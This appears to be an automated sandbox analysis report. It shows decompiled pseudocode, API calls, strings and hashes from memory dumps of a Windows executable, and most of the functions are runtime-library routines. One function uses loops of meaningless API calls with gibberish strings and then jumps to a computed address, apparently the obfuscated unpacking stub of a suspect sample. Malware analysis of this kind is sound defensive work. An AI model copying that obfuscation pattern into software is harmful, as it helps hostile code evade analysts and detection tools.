Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: b1509cc2d810050aeacc6360150e0ce5dc925635cf75940ea11b710611521ddf
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 46A0126254420833D00020833803B02350D43C0639E980021F90C061432C52B8144097

Uniqueness

Uniqueness Score: -1.00%

Function 00422E10, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E00432800(); // executed
				return L00422E30(_t3, _t4);
			}

0x00422e15
0x00422e20

APIs

___security_init_cookie.LIBCMTD ref: 00422E15

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: d46838d13bd8ec2c102f3c940b6e18dbf81b3d16be7bdcf56a9a504690dbf282
Instruction ID: b04b578a2fb31ec4a9a810e2e63ac70451f1468b42491b2064aa9ca858811831
Opcode Fuzzy Hash: d46838d13bd8ec2c102f3c940b6e18dbf81b3d16be7bdcf56a9a504690dbf282
Instruction Fuzzy Hash: 49A0022151865836015433A7560791BB54E48C471ABD6511A751C021031CECA80150BE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041C6FF, Relevance: 42.1, APIs: 16, Strings: 8, Instructions: 111
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0041C6FF() {
				signed int _v8;
				short _v2140;
				char _v3164;
				union _ULARGE_INTEGER _v3172;
				char _v5220;
				char _v6244;
				struct _COORD _v6248;
				struct _STARTUPINFOA _v6324;
				union _ULARGE_INTEGER _v6332;
				union _ULARGE_INTEGER _v6340;
				char _v6628;
				signed int _v6632;
				void _v6664;
				signed int _v6668;
				void* _t60;

				E00421C70(0x1e34);
				_v8 = _v8 & 0x00000000;
				while(_v8 < 0x332beaf6) {
					SetLastError(0);
					if( *0x45557c == 0x16) {
						GetProfileStringW(L"lolohekimabehudorobufoyerucatibexarefu", L"kokofigizisusokivimegukuhacecutasegenobofineyeco", L"gujoramuxayalutocetoriyofarolomucaligowopi",  &_v2140, 0);
						WriteProfileSectionW(0, 0);
						GetProfileStringA("cafufunejesalowiragivuhatozapaxuveted", "hoxubozuzaseheraduwunov", "wegisacavake",  &_v3164, 0);
					}
					GetLastError();
					if( *0x45557c == 0x9e) {
						__imp__GetSystemWow64DirectoryW( &_v5220, 0);
						GetWindowsDirectoryA( &_v6244, 0);
						__imp__GetCPInfoExA(0, 0,  &_v6628);
						GetDiskFreeSpaceExA("yivijurudicavacecawugudaworiwos",  &_v6332,  &_v6340,  &_v3172);
						GetStartupInfoA( &_v6324);
						ReadConsoleOutputCharacterW(0, 0, 0, _v6248, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				L0041A8D0(_t60,  *0x451b7c,  *0x45557c, 0x445010);
				_v6632 = _v6632 & 0x00000000;
				while(_v6632 < 0x3e79e) {
					if( *0x45557c == 0x10) {
						GlobalUnWire( &_v6664);
					}
					if(_v6632 == 0x1e673) {
						 *0x451b7c =  *0x451b7c + 0x3c6c;
					}
					_v6632 = _v6632 + 1;
				}
				_v6668 = _v6668 & 0x00000000;
				while(_v6668 < 0xdd9a7) {
					if( *0x45557c == 0xc01) {
						GetProcessHeap();
						GetProcessHeaps(0, 0);
						WritePrivateProfileStringW(0, 0, 0, 0);
						GetPriorityClass(0);
					}
					_v6668 = _v6668 + 1;
				}
				goto ( *0x451b7c);
			}

0x0041c707
0x0041c70c
0x0041c719
0x0041c728
0x0041c735
0x0041c74f
0x0041c759
0x0041c777
0x0041c777
0x0041c77d
0x0041c78d
0x0041c798
0x0041c7a7
0x0041c7b8
0x0041c7d8
0x0041c7e5
0x0041c7f9
0x0041c7f9
0x0041c806
0x0041c716
0x00000000
0x0041c808
0x00000000
0x0041c808
0x0041c806
0x0041c820
0x0041c825
0x0041c83b
0x0041c84e
0x0041c857
0x0041c857
0x0041c867
0x0041c869
0x0041c869
0x0041c835
0x0041c835
0x0041c875
0x0041c88b
0x0041c8a1
0x0041c8a3
0x0041c8ad
0x0041c8bb
0x0041c8c3
0x0041c8c3
0x0041c885
0x0041c885
0x0041c8cb

APIs

SetLastError.KERNEL32(00000000), ref: 0041C728
GetProfileStringW.KERNEL32(lolohekimabehudorobufoyerucatibexarefu,kokofigizisusokivimegukuhacecutasegenobofineyeco,gujoramuxayalutocetoriyofarolomucaligowopi,?,00000000), ref: 0041C74F
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 0041C759
GetProfileStringA.KERNEL32(cafufunejesalowiragivuhatozapaxuveted,hoxubozuzaseheraduwunov,wegisacavake,?,00000000), ref: 0041C777
GetLastError.KERNEL32 ref: 0041C77D
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 0041C798
GetWindowsDirectoryA.KERNEL32(?,00000000), ref: 0041C7A7
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 0041C7B8
GetDiskFreeSpaceExA.KERNEL32(yivijurudicavacecawugudaworiwos,?,?,?), ref: 0041C7D8
GetStartupInfoA.KERNEL32(?), ref: 0041C7E5
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C7F9
GlobalUnWire.KERNEL32(?), ref: 0041C857
GetProcessHeap.KERNEL32 ref: 0041C8A3
GetProcessHeaps.KERNEL32(00000000,00000000), ref: 0041C8AD
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C8BB
GetPriorityClass.KERNEL32(00000000), ref: 0041C8C3

Strings

cafufunejesalowiragivuhatozapaxuveted, xrefs: 0041C772
lolohekimabehudorobufoyerucatibexarefu, xrefs: 0041C74A
yivijurudicavacecawugudaworiwos, xrefs: 0041C7D3
wegisacavake, xrefs: 0041C768
gujoramuxayalutocetoriyofarolomucaligowopi, xrefs: 0041C740
kokofigizisusokivimegukuhacecutasegenobofineyeco, xrefs: 0041C745
u7, xrefs: 0041C7FF
hoxubozuzaseheraduwunov, xrefs: 0041C76D

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: Profile$String$DirectoryErrorInfoLastProcessWrite$CharacterClassConsoleDiskFreeGlobalHeapHeapsOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: cafufunejesalowiragivuhatozapaxuveted$gujoramuxayalutocetoriyofarolomucaligowopi$hoxubozuzaseheraduwunov$kokofigizisusokivimegukuhacecutasegenobofineyeco$lolohekimabehudorobufoyerucatibexarefu$wegisacavake$yivijurudicavacecawugudaworiwos$u7
API String ID: 182769965-285628079
Opcode ID: 3153a5a038fde115d74f365bc2ec9ee89d95206f112dcbeda845dee011e08ed9
Instruction ID: 908044bb5a03d8a4409ddb69b571d87f66a7638b8e0a118c5fd8ec8acc274c0b
Opcode Fuzzy Hash: 3153a5a038fde115d74f365bc2ec9ee89d95206f112dcbeda845dee011e08ed9
Instruction Fuzzy Hash: FD415171980258EFEB109B90DD89BE873B8A704743F5040A7F205B64E0D7B85AC4CF1E

Uniqueness

Uniqueness Score: -1.00%

Function 00426900, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00426900(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x445748; // 0x7cd7748c
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x456080 = _t6;
				 *0x45607c = _t20;
				 *0x456078 = _t22;
				 *0x456074 = _t19;
				 *0x456070 = _t25;
				 *0x45606c = _t24;
				 *0x456098 = ss;
				 *0x45608c = cs;
				 *0x456068 = ds;
				 *0x456064 = es;
				 *0x456060 = fs;
				 *0x45605c = gs;
				asm("pushfd");
				_pop( *0x456090);
				 *0x456084 =  *_t29;
				 *0x456088 = _v0;
				 *0x456094 =  &_a4;
				 *0x455fd0 = 0x10001;
				 *0x455f84 =  *0x456088;
				 *0x455f78 = 0xc0000409;
				 *0x455f7c = 1;
				_t21 =  *0x445748; // 0x7cd7748c
				_v812 = _t21;
				_t23 =  *0x44574c; // 0x83288b73
				_v808 = _t23;
				 *0x455fc8 = IsDebuggerPresent();
				_push(1);
				E0042EDA0(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter("x_E");
				if( *0x455fc8 == 0) {
					_push(1);
					E0042EDA0(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00426900
0x00426900
0x00426900
0x00426900
0x00426900
0x00426900
0x00426900
0x00426906
0x00426908
0x00426908
0x0043747b
0x00437480
0x00437486
0x0043748c
0x00437492
0x00437498
0x0043749e
0x004374a5
0x004374ac
0x004374b3
0x004374ba
0x004374c1
0x004374c8
0x004374c9
0x004374d2
0x004374da
0x004374e2
0x004374ed
0x004374fc
0x00437501
0x0043750b
0x00437515
0x0043751b
0x00437521
0x00437527
0x00437533
0x00437538
0x0043753a
0x00437544
0x0043754f
0x0043755c
0x0043755e
0x00437560
0x00437565
0x0043757d

APIs

IsDebuggerPresent.KERNEL32 ref: 0043752D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00437544
UnhandledExceptionFilter.KERNEL32(x_E), ref: 0043754F
GetCurrentProcess.KERNEL32(C0000409), ref: 0043756D
TerminateProcess.KERNEL32(00000000), ref: 00437574

Strings

x_E, xrefs: 0043754A

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: x_E
API String ID: 2579439406-2654344318
Opcode ID: ae0bcccbe655d51907f781449803fe0eb2a88581fb831fdea8e3b7ab57e2f7a1
Instruction ID: 7575ed4bf5fff34a1d9aad604d3282dcceb5ff4d28fcee504f749af265f772e4
Opcode Fuzzy Hash: ae0bcccbe655d51907f781449803fe0eb2a88581fb831fdea8e3b7ab57e2f7a1
Instruction Fuzzy Hash: 95211EB9800304DBD741DF24FD456543BB0BB08B16F92427AE909A33B2E775A980CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 004327E0, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004327E0() {

				SetUnhandledExceptionFilter(E00432770);
				return 0;
			}

0x004327ea
0x004327f3

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00032770), ref: 004327EA

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7953a88823dbc2c6976dd90d9ee4c3f01f6e595fb7387fa939fda9bd00894bff
Instruction ID: 30e40580b01f9c38f22ee41f6e1c230f141427227bbe0ad0556a79be5d54246e
Opcode Fuzzy Hash: 7953a88823dbc2c6976dd90d9ee4c3f01f6e595fb7387fa939fda9bd00894bff
Instruction Fuzzy Hash: 6EB0123118420827430053E66D098133A8CD5C87317510161F01CD1021D9A1D4004099

Uniqueness

Uniqueness Score: -1.00%

Function 005431FF, Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243892151.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction ID: b3603b565c51ca430de42f0154743de152e619b83bf4d4e0e8e5619243af1b49
Opcode Fuzzy Hash: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction Fuzzy Hash: F231A0395444599ECF2D4BB0D44A1D1BFA0EF5A308B690DCAC7919FC57CA306487C693

Uniqueness

Uniqueness Score: -1.00%

Function 00543253, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243892151.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction ID: 73b0d487cc3a164bbec300a667518e15c1c20940b62adaa13d6fecbf45992eef
Opcode Fuzzy Hash: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction Fuzzy Hash: 4E31683990485D9A8B2D4B759058191BBA4EF5E308FB60D8AC791AFC57CA306883C693

Uniqueness

Uniqueness Score: -1.00%

Function 00540042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243892151.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: c6193466792b4c7e6e6509294ed11aba9a1cb743a2c80e82da3f3d58f8e7e2c4
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: F1117C72340100AFEB54DE65DC99FE677EAFB88324B698165EA08CB352D676EC01C760

Uniqueness

Uniqueness Score: -1.00%

Function 004265B0, Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004265B0(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				char _v64;
				char _v84;
				char _v100;
				signed int _v101;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				signed int _v120;
				signed int _t50;
				intOrPtr _t62;
				void* _t69;
				intOrPtr _t77;
				void* _t78;
				void* _t107;
				void* _t108;
				signed int _t109;
				void* _t110;
				void* _t112;

				_t108 = __esi;
				_t107 = __edi;
				_t78 = __ebx;
				_t50 =  *0x445748; // 0x7cd7748c
				_v12 = _t50 ^ _t109;
				L00423370( &_v100, _a4);
				_v8 = 0;
				L2:
				L2:
				if( *((intOrPtr*)(_a8 + 0x10)) >= 0x10) {
					_v112 = 0x10;
				} else {
					_t10 = _a8 + 0x10; // 0x2
					_v112 =  *_t10;
				}
				if(_v8 >= _v112) {
					goto L16;
				}
				_v101 =  *((intOrPtr*)(_a8 + _v8 + 0x20));
				if(E00423480( &_v100) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E00423480( &_v100))) + 0xac)) <= 1) {
					_t62 = E004342E0(E00423480( &_v100), _v101 & 0x000000ff, 0x157);
					_t112 = _t110 + 0xc;
					_v116 = _t62;
				} else {
					_t77 = E00434390(_t78, _t107, _t108, _v101 & 0x000000ff, 0x157, E00423480( &_v100));
					_t112 = _t110 + 0xc;
					_v116 = _t77;
				}
				if(_v116 == 0) {
					_v120 = 0x20;
				} else {
					_v120 = _v101 & 0x000000ff;
				}
				 *((char*)(_t109 + _v8 - 0x50)) = _v120;
				_v108 =  *((intOrPtr*)(L004268A0(_v120)));
				 *((intOrPtr*)(L004268A0(_v120))) = 0;
				_t91 = _t109 + _v8 * 3 - 0x3c;
				_t69 = E00437410(_t109 + _v8 * 3 - 0x3c, _t109 + _v8 * 3 - 0x3c, 0x31 - _v8 * 3, "%.2X ", _v101 & 0x000000ff);
				_t110 = _t112 + 0x10;
				if(_t69 < 0) {
					E004228C0( *((intOrPtr*)(L004268A0(_t91))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x963, 0);
					_t110 = _t110 + 0x20;
				}
				 *((intOrPtr*)(L004268A0(_t91))) = _v108;
				_v8 = _v8 + 1;
				goto L2;
				L16:
				_t100 = _v8;
				 *((char*)(_t109 + _v8 - 0x50)) = 0;
				_push( &_v64);
				if(L00434D60(0, 0, 0, 0, " Data: <%s> %s\n",  &_v84) == 1) {
					asm("int3");
				}
				return E00426900(E00423450( &_v100), _t78, _v12 ^ _t109, _t100, _t107, _t108);
			}

0x004265b0
0x004265b0
0x004265b0
0x004265b8
0x004265bf
0x004265c9
0x004265ce
0x00000000
0x004265e0
0x004265e7
0x004265f4
0x004265e9
0x004265ec
0x004265ef
0x004265ef
0x00426601
0x00000000
0x00000000
0x00426610
0x0042661d
0x00426665
0x0042666a
0x0042666d
0x00426632
0x00426645
0x0042664a
0x0042664d
0x0042664d
0x00426674
0x0042667f
0x00426676
0x0042667a
0x0042667a
0x0042668c
0x00426697
0x0042669f
0x004266c3
0x004266c8
0x004266cd
0x004266d2
0x004266f6
0x004266fb
0x004266fb
0x00426706
0x004265dd
0x00000000
0x0042670d
0x0042670d
0x00426710
0x00426718
0x00426735
0x00426737
0x00426737
0x0042674d

APIs

__isctype_l.LIBCMTD ref: 00426645
__chvalidator_l.LIBCMTD ref: 00426665

Part of subcall function 004342E0: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043434F

_swprintf_s.LIBCMTD ref: 004266C8
__invoke_watson_if_oneof.LIBCMTD ref: 004266F6
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042673B

Strings

(*_errno()), xrefs: 004266E5
Data: <%s> %s, xrefs: 0042671D
_printMemBlockData, xrefs: 004266E0
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 004266DB
, xrefs: 0042667F
%.2X , xrefs: 004266AA

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$UpdateUpdate::~_$__chvalidator_l__invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: $ Data: <%s> %s$%.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2593626323-2130928175
Opcode ID: 3be2f1bb0635643ab13c44a60ae61d0b7988ca247887a3f5d9431ed8812aed0b
Instruction ID: 3e377dc4a12e8a5ff9a31e1aef753bedee44ac806532b0fd0aa2b5d225c1d3fa
Opcode Fuzzy Hash: 3be2f1bb0635643ab13c44a60ae61d0b7988ca247887a3f5d9431ed8812aed0b
Instruction Fuzzy Hash: 4241B770E00368AFDB04EFA1ED52BEE7775AF55308F60416EE4056F282D778AA04CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041D83F, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0041D83F(void* __ebx, intOrPtr __ecx, signed char* _a4, intOrPtr _a8, short* _a12, intOrPtr _a16) {
				intOrPtr _v8;
				void* __edi;
				void* __esi;
				signed char* _t27;
				short* _t32;

				_t24 = __ecx;
				_push(__ecx);
				_push(_a8);
				_t27 = _a4;
				_t30 = L"C:\\Program Files (x86)\\Microsoft Visual Studio 9.0\\VC\\include\\xlocale";
				_v8 = __ecx;
				E0041D7F0(_t27, _a8, L"C:\\Program Files (x86)\\Microsoft Visual Studio 9.0\\VC\\include\\xlocale", 0x857);
				E0041D5C6(_a12, L"C:\\Program Files (x86)\\Microsoft Visual Studio 9.0\\VC\\include\\xlocale", 0x858);
				if(_a16 < _a8 - _t27) {
					if(L00422420(2, L"C:\\Program Files (x86)\\Microsoft Visual Studio 9.0\\VC\\include\\xlocale", 0x859, 0, L"(\"_Dest_size >= (size_t)(_Last - _First)\", 0)", __ebx) == 1) {
						asm("int3");
					}
					E00422260(0x859, _t24, _t27, _t30, L"\"out of range\"", L"std::ctype<wchar_t>::_Do_widen_s", _t30, 0x859, 0);
				}
				if(_t27 != _a8) {
					_t32 = _a12;
					do {
						 *_t32 = E0041D51B(_v8,  *_t27 & 0x000000ff);
						_t27 =  &(_t27[1]);
						_t32 = _t32 + 2;
					} while (_t27 != _a8);
				}
				return _t27;
			}

0x0041d83f
0x0041d842
0x0041d845
0x0041d848
0x0041d850
0x0041d859
0x0041d85d
0x0041d86b
0x0041d87b
0x0041d899
0x0041d89b
0x0041d89b
0x0041d8aa
0x0041d8b2
0x0041d8b6
0x0041d8b8
0x0041d8bb
0x0041d8c7
0x0041d8ca
0x0041d8cc
0x0041d8cd
0x0041d8bb
0x0041d8d7

APIs

Part of subcall function 0041D7F0: std::_Debug_message.LIBCPMTD ref: 0041D829

Part of subcall function 0041D5C6: std::_Debug_message.LIBCPMTD ref: 0041D5DA

__invalid_parameter.LIBCMTD ref: 0041D8AA
ctype.LIBCPMT ref: 0041D8C2

Strings

C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include\xlocale, xrefs: 0041D850, 0041D855, 0041D867, 0041D88B, 0041D89F
std::ctype<wchar_t>::_Do_widen_s, xrefs: 0041D8A0
("_Dest_size >= (size_t)(_Last - _First)", 0), xrefs: 0041D87E
"out of range", xrefs: 0041D8A5

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: Debug_messagestd::_$__invalid_parameterctype
String ID: "out of range"$("_Dest_size >= (size_t)(_Last - _First)", 0)$C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include\xlocale$std::ctype<wchar_t>::_Do_widen_s
API String ID: 1767042204-4021369359
Opcode ID: ff1094a0cc970acbb79460636f8ed8b1f88046c52ac9a46f08c31c0fb7f47476
Instruction ID: 0bd499c48cfe1664e1065e5b489e74e745f9b1c6afe5188a39b8a40d5a0ea3ab
Opcode Fuzzy Hash: ff1094a0cc970acbb79460636f8ed8b1f88046c52ac9a46f08c31c0fb7f47476
Instruction Fuzzy Hash: AC11C2B5A40118BBDB106E558C46FEF3B29EF41369F00402BFD596A281D678AA50C3B8

Uniqueness

Uniqueness Score: -1.00%

Function 00441510, Relevance: 9.1, APIs: 6, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00441510(void* __edx, void _a4) {
				long _v8;
				int _v12;
				signed int _v16;
				void _v24;
				signed int _t12;
				intOrPtr _t14;
				intOrPtr _t25;
				void* _t31;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t31 = __edx;
				_t12 =  *0x445748; // 0x7cd7748c
				_v16 = _t12 ^ _t35;
				if( *0x4464a0 == 0) {
					L12:
					if( *0x4464a0 != 0) {
						L16:
						_t14 = _a4;
					} else {
						_v12 = WideCharToMultiByte(GetConsoleOutputCP(), 0,  &_a4, 1,  &_v24, 5, 0, 0);
						if( *0x446534 == 0xffffffff) {
							L15:
							_t14 = 0xffff;
						} else {
							_t31 =  *0x446534; // 0xfffffffe
							if(WriteConsoleA(_t31,  &_v24, _v12,  &_v8, 0) != 0) {
								goto L16;
							} else {
								goto L15;
							}
						}
					}
				} else {
					if( *0x446534 == 0xfffffffe) {
						E004422E0();
					}
					if( *0x446534 != 0xffffffff) {
						_t31 =  *0x446534; // 0xfffffffe
						if(WriteConsoleW(_t31,  &_a4, 1,  &_v8, 0) != 0) {
							 *0x4464a0 = 1;
							goto L12;
						} else {
							if( *0x4464a0 != 2 || GetLastError() != 0x78) {
								_t14 = 0xffff;
							} else {
								 *0x4464a0 = 0;
								goto L12;
							}
						}
					} else {
						_t14 = 0xffff;
					}
				}
				return E00426900(_t14, _t25, _v16 ^ _t35, _t31, _t33, _t34);
			}

0x00441510
0x00441518
0x0044151f
0x00441529
0x0044159e
0x004415a5
0x004415f8
0x004415f8
0x004415a7
0x004415c6
0x004415d0
0x004415f1
0x004415f1
0x004415d2
0x004415e0
0x004415ef
0x00000000
0x00000000
0x00000000
0x00000000
0x004415ef
0x004415d0
0x0044152b
0x00441532
0x00441534
0x00441534
0x00441540
0x0044155a
0x00441569
0x00441594
0x00000000
0x0044156b
0x00441572
0x0044158b
0x0044157f
0x0044157f
0x00000000
0x00441592
0x00441572
0x00441542
0x00441542
0x00441542
0x00441540
0x00441609

APIs

___initconout.LIBCMTD ref: 00441534

Part of subcall function 004422E0: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,00441539), ref: 004422F9

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 004415B9
WideCharToMultiByte.KERNEL32(00000000), ref: 004415C0
WriteConsoleA.KERNEL32(FFFFFFFE,00000000,?,?,00000000), ref: 004415E7

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: 5439fa09fde13c39d0606e0bab523aded559ce58a299f2bdb7036b3bd0deb3f8
Instruction ID: 2d70f7cdd88c2b6821b838299d9dbbbc91dff0973617f083b3e1569e0df7f2b0
Opcode Fuzzy Hash: 5439fa09fde13c39d0606e0bab523aded559ce58a299f2bdb7036b3bd0deb3f8
Instruction Fuzzy Hash: C6217E74600205BFEB20DB94ED45BEB3774AB4A714F50423AF512961F0DB788985CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD19, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0041DD19(void* __ebx, intOrPtr __ecx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, char* _a16, intOrPtr _a20) {
				intOrPtr _v8;
				void* __edi;
				void* __esi;
				char _t20;
				signed short* _t29;
				char* _t35;

				_t26 = __ecx;
				_push(__ecx);
				_push(_a8);
				_t29 = _a4;
				_t33 = L"C:\\Program Files (x86)\\Microsoft Visual Studio 9.0\\VC\\include\\xlocale";
				_v8 = __ecx;
				E0041D7F0(_t29, _a8, L"C:\\Program Files (x86)\\Microsoft Visual Studio 9.0\\VC\\include\\xlocale", 0x87a);
				E0041D5C6(_a16, L"C:\\Program Files (x86)\\Microsoft Visual Studio 9.0\\VC\\include\\xlocale", 0x87b);
				if(_a20 < _a8 - _t29 >> 1) {
					if(L00422420(2, L"C:\\Program Files (x86)\\Microsoft Visual Studio 9.0\\VC\\include\\xlocale", 0x87c, 0, L"(\"_Dest_size >= (size_t)(_Last - _First)\", 0)", __ebx) == 1) {
						asm("int3");
					}
					E00422260(0x87c, _t26, _t29, _t33, L"\"out of range\"", L"std::ctype<wchar_t>::_Do_narrow_s", _t33, 0x87c, 0);
				}
				if(_t29 != _a8) {
					_t35 = _a16;
					do {
						_t20 = E0041D570(_v8,  *_t29 & 0x0000ffff, _a12);
						_t29 =  &(_t29[1]);
						 *_t35 = _t20;
						_t35 = _t35 + 1;
					} while (_t29 != _a8);
				}
				return _t29;
			}

0x0041dd19
0x0041dd1c
0x0041dd1f
0x0041dd22
0x0041dd2a
0x0041dd33
0x0041dd37
0x0041dd45
0x0041dd57
